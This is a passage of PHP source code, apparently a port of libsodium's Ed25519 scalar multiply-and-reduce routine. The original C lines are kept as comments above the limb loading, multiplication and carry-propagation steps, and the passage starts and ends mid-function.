        $a8  = 2097151 &  self::load_3(self::substr($a, 21, 3));
        $a9  = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5);
        $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2);
        $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7);

        //    int64_t b0  = 2097151 & load_3(b);
        //    int64_t b1  = 2097151 & (load_4(b + 2) >> 5);
        //    int64_t b2  = 2097151 & (load_3(b + 5) >> 2);
        //    int64_t b3  = 2097151 & (load_4(b + 7) >> 7);
        //    int64_t b4  = 2097151 & (load_4(b + 10) >> 4);
        //    int64_t b5  = 2097151 & (load_3(b + 13) >> 1);
        //    int64_t b6  = 2097151 & (load_4(b + 15) >> 6);
        //    int64_t b7  = 2097151 & (load_3(b + 18) >> 3);
        //    int64_t b8  = 2097151 & load_3(b + 21);
        //    int64_t b9  = 2097151 & (load_4(b + 23) >> 5);
        //    int64_t b10 = 2097151 & (load_3(b + 26) >> 2);
        //    int64_t b11 = (load_4(b + 28) >> 7);
        $b0  = 2097151 &  self::load_3(self::substr($b, 0, 3));
        $b1  = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5);
        $b2  = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2);
        $b3  = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7);
        $b4  = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4);
        $b5  = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1);
        $b6  = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6);
        $b7  = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3);
        $b8  = 2097151 &  self::load_3(self::substr($b, 21, 3));
        $b9  = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5);
        $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2);
        $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7);

        //    s0 = a0 * b0;
        //    s1 = a0 * b1 + a1 * b0;
        //    s2 = a0 * b2 + a1 * b1 + a2 * b0;
        //    s3 = a0 * b3 + a1 * b2 + a2 * b1 + a3 * b0;
        //    s4 = a0 * b4 + a1 * b3 + a2 * b2 + a3 * b1 + a4 * b0;
        //    s5 = a0 * b5 + a1 * b4 + a2 * b3 + a3 * b2 + a4 * b1 + a5 * b0;
        //    s6 = a0 * b6 + a1 * b5 + a2 * b4 + a3 * b3 + a4 * b2 + a5 * b1 + a6 * b0;
        //    s7 = a0 * b7 + a1 * b6 + a2 * b5 + a3 * b4 + a4 * b3 + a5 * b2 +
        //        a6 * b1 + a7 * b0;
        //    s8 = a0 * b8 + a1 * b7 + a2 * b6 + a3 * b5 + a4 * b4 + a5 * b3 +
        //        a6 * b2 + a7 * b1 + a8 * b0;
        //    s9 = a0 * b9 + a1 * b8 + a2 * b7 + a3 * b6 + a4 * b5 + a5 * b4 +
        //        a6 * b3 + a7 * b2 + a8 * b1 + a9 * b0;
        //    s10 = a0 * b10 + a1 * b9 + a2 * b8 + a3 * b7 + a4 * b6 + a5 * b5 +
        //        a6 * b4 + a7 * b3 + a8 * b2 + a9 * b1 + a10 * b0;
        //    s11 = a0 * b11 + a1 * b10 + a2 * b9 + a3 * b8 + a4 * b7 + a5 * b6 +
        //        a6 * b5 + a7 * b4 + a8 * b3 + a9 * b2 + a10 * b1 + a11 * b0;
        //    s12 = a1 * b11 + a2 * b10 + a3 * b9 + a4 * b8 + a5 * b7 + a6 * b6 +
        //        a7 * b5 + a8 * b4 + a9 * b3 + a10 * b2 + a11 * b1;
        //    s13 = a2 * b11 + a3 * b10 + a4 * b9 + a5 * b8 + a6 * b7 + a7 * b6 +
        //        a8 * b5 + a9 * b4 + a10 * b3 + a11 * b2;
        //    s14 = a3 * b11 + a4 * b10 + a5 * b9 + a6 * b8 + a7 * b7 + a8 * b6 +
        //        a9 * b5 + a10 * b4 + a11 * b3;
        //    s15 = a4 * b11 + a5 * b10 + a6 * b9 + a7 * b8 + a8 * b7 + a9 * b6 +
        //        a10 * b5 + a11 * b4;
        //    s16 =
        //        a5 * b11 + a6 * b10 + a7 * b9 + a8 * b8 + a9 * b7 + a10 * b6 + a11 * b5;
        //    s17 = a6 * b11 + a7 * b10 + a8 * b9 + a9 * b8 + a10 * b7 + a11 * b6;
        //    s18 = a7 * b11 + a8 * b10 + a9 * b9 + a10 * b8 + a11 * b7;
        //    s19 = a8 * b11 + a9 * b10 + a10 * b9 + a11 * b8;
        //    s20 = a9 * b11 + a10 * b10 + a11 * b9;
        //    s21 = a10 * b11 + a11 * b10;
        //    s22 = a11 * b11;
        //    s23 = 0;
        $s0 = self::mul($a0, $b0, 22);
        $s1 = self::mul($a0, $b1, 22) + self::mul($a1, $b0, 22);
        $s2 = self::mul($a0, $b2, 22) + self::mul($a1, $b1, 22) + self::mul($a2, $b0, 22);
        $s3 = self::mul($a0, $b3, 22) + self::mul($a1, $b2, 22) + self::mul($a2, $b1, 22) + self::mul($a3, $b0, 22);
        $s4 = self::mul($a0, $b4, 22) + self::mul($a1, $b3, 22) + self::mul($a2, $b2, 22) + self::mul($a3, $b1, 22) +
            self::mul($a4, $b0, 22);
        $s5 = self::mul($a0, $b5, 22) + self::mul($a1, $b4, 22) + self::mul($a2, $b3, 22) + self::mul($a3, $b2, 22) +
            self::mul($a4, $b1, 22) + self::mul($a5, $b0, 22);
        $s6 = self::mul($a0, $b6, 22) + self::mul($a1, $b5, 22) + self::mul($a2, $b4, 22) + self::mul($a3, $b3, 22) +
            self::mul($a4, $b2, 22) + self::mul($a5, $b1, 22) + self::mul($a6, $b0, 22);
        $s7 = self::mul($a0, $b7, 22) + self::mul($a1, $b6, 22) + self::mul($a2, $b5, 22) + self::mul($a3, $b4, 22) +
            self::mul($a4, $b3, 22) + self::mul($a5, $b2, 22) + self::mul($a6, $b1, 22) + self::mul($a7, $b0, 22);
        $s8 = self::mul($a0, $b8, 22) + self::mul($a1, $b7, 22) + self::mul($a2, $b6, 22) + self::mul($a3, $b5, 22) +
            self::mul($a4, $b4, 22) + self::mul($a5, $b3, 22) + self::mul($a6, $b2, 22) + self::mul($a7, $b1, 22) +
            self::mul($a8, $b0, 22);
        $s9 = self::mul($a0, $b9, 22) + self::mul($a1, $b8, 22) + self::mul($a2, $b7, 22) + self::mul($a3, $b6, 22) +
            self::mul($a4, $b5, 22) + self::mul($a5, $b4, 22) + self::mul($a6, $b3, 22) + self::mul($a7, $b2, 22) +
            self::mul($a8, $b1, 22) + self::mul($a9, $b0, 22);
        $s10 = self::mul($a0, $b10, 22) + self::mul($a1, $b9, 22) + self::mul($a2, $b8, 22) + self::mul($a3, $b7, 22) +
            self::mul($a4, $b6, 22) + self::mul($a5, $b5, 22) + self::mul($a6, $b4, 22) + self::mul($a7, $b3, 22) +
            self::mul($a8, $b2, 22) + self::mul($a9, $b1, 22) + self::mul($a10, $b0, 22);
        $s11 = self::mul($a0, $b11, 22) + self::mul($a1, $b10, 22) + self::mul($a2, $b9, 22) + self::mul($a3, $b8, 22) +
            self::mul($a4, $b7, 22) + self::mul($a5, $b6, 22) + self::mul($a6, $b5, 22) + self::mul($a7, $b4, 22) +
            self::mul($a8, $b3, 22) + self::mul($a9, $b2, 22) + self::mul($a10, $b1, 22) + self::mul($a11, $b0, 22);
        $s12 = self::mul($a1, $b11, 22) + self::mul($a2, $b10, 22) + self::mul($a3, $b9, 22) + self::mul($a4, $b8, 22) +
            self::mul($a5, $b7, 22) + self::mul($a6, $b6, 22) + self::mul($a7, $b5, 22) + self::mul($a8, $b4, 22) +
            self::mul($a9, $b3, 22) + self::mul($a10, $b2, 22) + self::mul($a11, $b1, 22);
        $s13 = self::mul($a2, $b11, 22) + self::mul($a3, $b10, 22) + self::mul($a4, $b9, 22) + self::mul($a5, $b8, 22) +
            self::mul($a6, $b7, 22) + self::mul($a7, $b6, 22) + self::mul($a8, $b5, 22) + self::mul($a9, $b4, 22) +
            self::mul($a10, $b3, 22) + self::mul($a11, $b2, 22);
        $s14 = self::mul($a3, $b11, 22) + self::mul($a4, $b10, 22) + self::mul($a5, $b9, 22) + self::mul($a6, $b8, 22) +
            self::mul($a7, $b7, 22) + self::mul($a8, $b6, 22) + self::mul($a9, $b5, 22) + self::mul($a10, $b4, 22) +
            self::mul($a11, $b3, 22);
        $s15 = self::mul($a4, $b11, 22) + self::mul($a5, $b10, 22) + self::mul($a6, $b9, 22) + self::mul($a7, $b8, 22) +
            self::mul($a8, $b7, 22) + self::mul($a9, $b6, 22) + self::mul($a10, $b5, 22) + self::mul($a11, $b4, 22);
        $s16 =
            self::mul($a5, $b11, 22) + self::mul($a6, $b10, 22) + self::mul($a7, $b9, 22) + self::mul($a8, $b8, 22) +
            self::mul($a9, $b7, 22) + self::mul($a10, $b6, 22) + self::mul($a11, $b5, 22);
        $s17 = self::mul($a6, $b11, 22) + self::mul($a7, $b10, 22) + self::mul($a8, $b9, 22) + self::mul($a9, $b8, 22) +
            self::mul($a10, $b7, 22) + self::mul($a11, $b6, 22);
        $s18 = self::mul($a7, $b11, 22) + self::mul($a8, $b10, 22) + self::mul($a9, $b9, 22) + self::mul($a10, $b8, 22)
            + self::mul($a11, $b7, 22);
        $s19 = self::mul($a8, $b11, 22) + self::mul($a9, $b10, 22) + self::mul($a10, $b9, 22) +
            self::mul($a11, $b8, 22);
        $s20 = self::mul($a9, $b11, 22) + self::mul($a10, $b10, 22) + self::mul($a11, $b9, 22);
        $s21 = self::mul($a10, $b11, 22) + self::mul($a11, $b10, 22);
        $s22 = self::mul($a11, $b11, 22);
        $s23 = 0;

        //    carry0 = (s0 + (int64_t) (1L << 20)) >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry2 = (s2 + (int64_t) (1L << 20)) >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry4 = (s4 + (int64_t) (1L << 20)) >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry6 = (s6 + (int64_t) (1L << 20)) >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry8 = (s8 + (int64_t) (1L << 20)) >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        //    carry12 = (s12 + (int64_t) (1L << 20)) >> 21;
        //    s13 += carry12;
        //    s12 -= carry12 * ((uint64_t) 1L << 21);
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        //    carry14 = (s14 + (int64_t) (1L << 20)) >> 21;
        //    s15 += carry14;
        //    s14 -= carry14 * ((uint64_t) 1L << 21);
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        //    carry16 = (s16 + (int64_t) (1L << 20)) >> 21;
        //    s17 += carry16;
        //    s16 -= carry16 * ((uint64_t) 1L << 21);
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;
        //    carry18 = (s18 + (int64_t) (1L << 20)) >> 21;
        //    s19 += carry18;
        //    s18 -= carry18 * ((uint64_t) 1L << 21);
        $carry18 = ($s18 + (1 << 20)) >> 21;
        $s19 += $carry18;
        $s18 -= $carry18 << 21;
        //    carry20 = (s20 + (int64_t) (1L << 20)) >> 21;
        //    s21 += carry20;
        //    s20 -= carry20 * ((uint64_t) 1L << 21);
        $carry20 = ($s20 + (1 << 20)) >> 21;
        $s21 += $carry20;
        $s20 -= $carry20 << 21;
        //    carry22 = (s22 + (int64_t) (1L << 20)) >> 21;
        //    s23 += carry22;
        //    s22 -= carry22 * ((uint64_t) 1L << 21);
        $carry22 = ($s22 + (1 << 20)) >> 21;
        $s23 += $carry22;
        $s22 -= $carry22 << 21;

        //    carry1 = (s1 + (int64_t) (1L << 20)) >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry3 = (s3 + (int64_t) (1L << 20)) >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry5 = (s5 + (int64_t) (1L << 20)) >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry7 = (s7 + (int64_t) (1L << 20)) >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry9 = (s9 + (int64_t) (1L << 20)) >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry11 = (s11 + (int64_t) (1L << 20)) >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        //    carry13 = (s13 + (int64_t) (1L << 20)) >> 21;
        //    s14 += carry13;
        //    s13 -= carry13 * ((uint64_t) 1L << 21);
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        //    carry15 = (s15 + (int64_t) (1L << 20)) >> 21;
        //    s16 += carry15;
        //    s15 -= carry15 * ((uint64_t) 1L << 21);
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;
        //    carry17 = (s17 + (int64_t) (1L << 20)) >> 21;
        //    s18 += carry17;
        //    s17 -= carry17 * ((uint64_t) 1L << 21);
        $carry17 = ($s17 + (1 << 20)) >> 21;
        $s18 += $carry17;
        $s17 -= $carry17 << 21;
        //    carry19 = (s19 + (int64_t) (1L << 20)) >> 21;
        //    s20 += carry19;
        //    s19 -= carry19 * ((uint64_t) 1L << 21);
        $carry19 = ($s19 + (1 << 20)) >> 21;
        $s20 += $carry19;
        $s19 -= $carry19 << 21;
        //    carry21 = (s21 + (int64_t) (1L << 20)) >> 21;
        //    s22 += carry21;
        //    s21 -= carry21 * ((uint64_t) 1L << 21);
        $carry21 = ($s21 + (1 << 20)) >> 21;
        $s22 += $carry21;
        $s21 -= $carry21 << 21;

        //    s11 += s23 * 666643;
        //    s12 += s23 * 470296;
        //    s13 += s23 * 654183;
        //    s14 -= s23 * 997805;
        //    s15 += s23 * 136657;
        //    s16 -= s23 * 683901;
        $s11 += self::mul($s23, 666643, 20);
        $s12 += self::mul($s23, 470296, 19);
        $s13 += self::mul($s23, 654183, 20);
        $s14 -= self::mul($s23, 997805, 20);
        $s15 += self::mul($s23, 136657, 18);
        $s16 -= self::mul($s23, 683901, 20);

        //    s10 += s22 * 666643;
        //    s11 += s22 * 470296;
        //    s12 += s22 * 654183;
        //    s13 -= s22 * 997805;
        //    s14 += s22 * 136657;
        //    s15 -= s22 * 683901;
        $s10 += self::mul($s22, 666643, 20);
        $s11 += self::mul($s22, 470296, 19);
        $s12 += self::mul($s22, 654183, 20);
        $s13 -= self::mul($s22, 997805, 20);
        $s14 += self::mul($s22, 136657, 18);
        $s15 -= self::mul($s22, 683901, 20);

        //    s9 += s21 * 666643;
        //    s10 += s21 * 470296;
        //    s11 += s21 * 654183;
        //    s12 -= s21 * 997805;
        //    s13 += s21 * 136657;
        //    s14 -= s21 * 683901;
        $s9 += self::mul($s21, 666643, 20);
        $s10 += self::mul($s21, 470296, 19);
        $s11 += self::mul($s21, 654183, 20);
        $s12 -= self::mul($s21, 997805, 20);
        $s13 += self::mul($s21, 136657, 18);
        $s14 -= self::mul($s21, 683901, 20);

        //    s8 += s20 * 666643;
        //    s9 += s20 * 470296;
        //    s10 += s20 * 654183;
        //    s11 -= s20 * 997805;
        //    s12 += s20 * 136657;
        //    s13 -= s20 * 683901;
        $s8 += self::mul($s20, 666643, 20);
        $s9 += self::mul($s20, 470296, 19);
        $s10 += self::mul($s20, 654183, 20);
        $s11 -= self::mul($s20, 997805, 20);
        $s12 += self::mul($s20, 136657, 18);
        $s13 -= self::mul($s20, 683901, 20);

        //    s7 += s19 * 666643;
        //    s8 += s19 * 470296;
        //    s9 += s19 * 654183;
        //    s10 -= s19 * 997805;
        //    s11 += s19 * 136657;
        //    s12 -= s19 * 683901;
        $s7 += self::mul($s19, 666643, 20);
        $s8 += self::mul($s19, 470296, 19);
        $s9 += self::mul($s19, 654183, 20);
        $s10 -= self::mul($s19, 997805, 20);
        $s11 += self::mul($s19, 136657, 18);
        $s12 -= self::mul($s19, 683901, 20);

        //    s6 += s18 * 666643;
        //    s7 += s18 * 470296;
        //    s8 += s18 * 654183;
        //    s9 -= s18 * 997805;
        //    s10 += s18 * 136657;
        //    s11 -= s18 * 683901;
        $s6 += self::mul($s18, 666643, 20);
        $s7 += self::mul($s18, 470296, 19);
        $s8 += self::mul($s18, 654183, 20);
        $s9 -= self::mul($s18, 997805, 20);
        $s10 += self::mul($s18, 136657, 18);
        $s11 -= self::mul($s18, 683901, 20);

        //    carry6 = (s6 + (int64_t) (1L << 20)) >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry8 = (s8 + (int64_t) (1L << 20)) >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        //    carry12 = (s12 + (int64_t) (1L << 20)) >> 21;
        //    s13 += carry12;
        //    s12 -= carry12 * ((uint64_t) 1L << 21);
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        //    carry14 = (s14 + (int64_t) (1L << 20)) >> 21;
        //    s15 += carry14;
        //    s14 -= carry14 * ((uint64_t) 1L << 21);
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        //    carry16 = (s16 + (int64_t) (1L << 20)) >> 21;
        //    s17 += carry16;
        //    s16 -= carry16 * ((uint64_t) 1L << 21);
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        //    carry7 = (s7 + (int64_t) (1L << 20)) >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry9 = (s9 + (int64_t) (1L << 20)) >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry11 = (s11 + (int64_t) (1L << 20)) >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        //    carry13 = (s13 + (int64_t) (1L << 20)) >> 21;
        //    s14 += carry13;
        //    s13 -= carry13 * ((uint64_t) 1L << 21);
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        //    carry15 = (s15 + (int64_t) (1L << 20)) >> 21;
        //    s16 += carry15;
        //    s15 -= carry15 * ((uint64_t) 1L << 21);
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        //    s5 += s17 * 666643;
        //    s6 += s17 * 470296;
        //    s7 += s17 * 654183;
        //    s8 -= s17 * 997805;
        //    s9 += s17 * 136657;
        //    s10 -= s17 * 683901;
        $s5 += self::mul($s17, 666643, 20);
        $s6 += self::mul($s17, 470296, 19);
        $s7 += self::mul($s17, 654183, 20);
        $s8 -= self::mul($s17, 997805, 20);
        $s9 += self::mul($s17, 136657, 18);
        $s10 -= self::mul($s17, 683901, 20);

        //    s4 += s16 * 666643;
        //    s5 += s16 * 470296;
        //    s6 += s16 * 654183;
        //    s7 -= s16 * 997805;
        //    s8 += s16 * 136657;
        //    s9 -= s16 * 683901;
        $s4 += self::mul($s16, 666643, 20);
        $s5 += self::mul($s16, 470296, 19);
        $s6 += self::mul($s16, 654183, 20);
        $s7 -= self::mul($s16, 997805, 20);
        $s8 += self::mul($s16, 136657, 18);
        $s9 -= self::mul($s16, 683901, 20);

        //    s3 += s15 * 666643;
        //    s4 += s15 * 470296;
        //    s5 += s15 * 654183;
        //    s6 -= s15 * 997805;
        //    s7 += s15 * 136657;
        //    s8 -= s15 * 683901;
        $s3 += self::mul($s15, 666643, 20);
        $s4 += self::mul($s15, 470296, 19);
        $s5 += self::mul($s15, 654183, 20);
        $s6 -= self::mul($s15, 997805, 20);
        $s7 += self::mul($s15, 136657, 18);
        $s8 -= self::mul($s15, 683901, 20);

        //    s2 += s14 * 666643;
        //    s3 += s14 * 470296;
        //    s4 += s14 * 654183;
        //    s5 -= s14 * 997805;
        //    s6 += s14 * 136657;
        //    s7 -= s14 * 683901;
        $s2 += self::mul($s14, 666643, 20);
        $s3 += self::mul($s14, 470296, 19);
        $s4 += self::mul($s14, 654183, 20);
        $s5 -= self::mul($s14, 997805, 20);
        $s6 += self::mul($s14, 136657, 18);
        $s7 -= self::mul($s14, 683901, 20);

        //    s1 += s13 * 666643;
        //    s2 += s13 * 470296;
        //    s3 += s13 * 654183;
        //    s4 -= s13 * 997805;
        //    s5 += s13 * 136657;
        //    s6 -= s13 * 683901;
        $s1 += self::mul($s13, 666643, 20);
        $s2 += self::mul($s13, 470296, 19);
        $s3 += self::mul($s13, 654183, 20);
        $s4 -= self::mul($s13, 997805, 20);
        $s5 += self::mul($s13, 136657, 18);
        $s6 -= self::mul($s13, 683901, 20);

        //    s0 += s12 * 666643;
        //    s1 += s12 * 470296;
        //    s2 += s12 * 654183;
        //    s3 -= s12 * 997805;
        //    s4 += s12 * 136657;
        //    s5 -= s12 * 683901;
        //    s12 = 0;
        $s0 += self::mul($s12, 666643, 20);
        $s1 += self::mul($s12, 470296, 19);
        $s2 += self::mul($s12, 654183, 20);
        $s3 -= self::mul($s12, 997805, 20);
        $s4 += self::mul($s12, 136657, 18);
        $s5 -= self::mul($s12, 683901, 20);
        $s12 = 0;

        //    carry0 = (s0 + (int64_t) (1L << 20)) >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry2 = (s2 + (int64_t) (1L << 20)) >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry4 = (s4 + (int64_t) (1L << 20)) >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry6 = (s6 + (int64_t) (1L << 20)) >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry8 = (s8 + (int64_t) (1L << 20)) >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        //    carry1 = (s1 + (int64_t) (1L << 20)) >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry3 = (s3 + (int64_t) (1L << 20)) >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry5 = (s5 + (int64_t) (1L << 20)) >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry7 = (s7 + (int64_t) (1L << 20)) >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry9 = (s9 + (int64_t) (1L << 20)) >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry11 = (s11 + (int64_t) (1L << 20)) >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        //    s0 += s12 * 666643;
        //    s1 += s12 * 470296;
        //    s2 += s12 * 654183;
        //    s3 -= s12 * 997805;
        //    s4 += s12 * 136657;
        //    s5 -= s12 * 683901;
        //    s12 = 0;
        $s0 += self::mul($s12, 666643, 20);
        $s1 += self::mul($s12, 470296, 19);
        $s2 += self::mul($s12, 654183, 20);
        $s3 -= self::mul($s12, 997805, 20);
        $s4 += self::mul($s12, 136657, 18);
        $s5 -= self::mul($s12, 683901, 20);
        $s12 = 0;

        //    carry0 = s0 >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry1 = s1 >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry2 = s2 >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry3 = s3 >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry4 = s4 >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry5 = s5 >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry6 = s6 >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry7 = s7 >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry8 = s8 >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry9 = s9 >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry10 = s10 >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
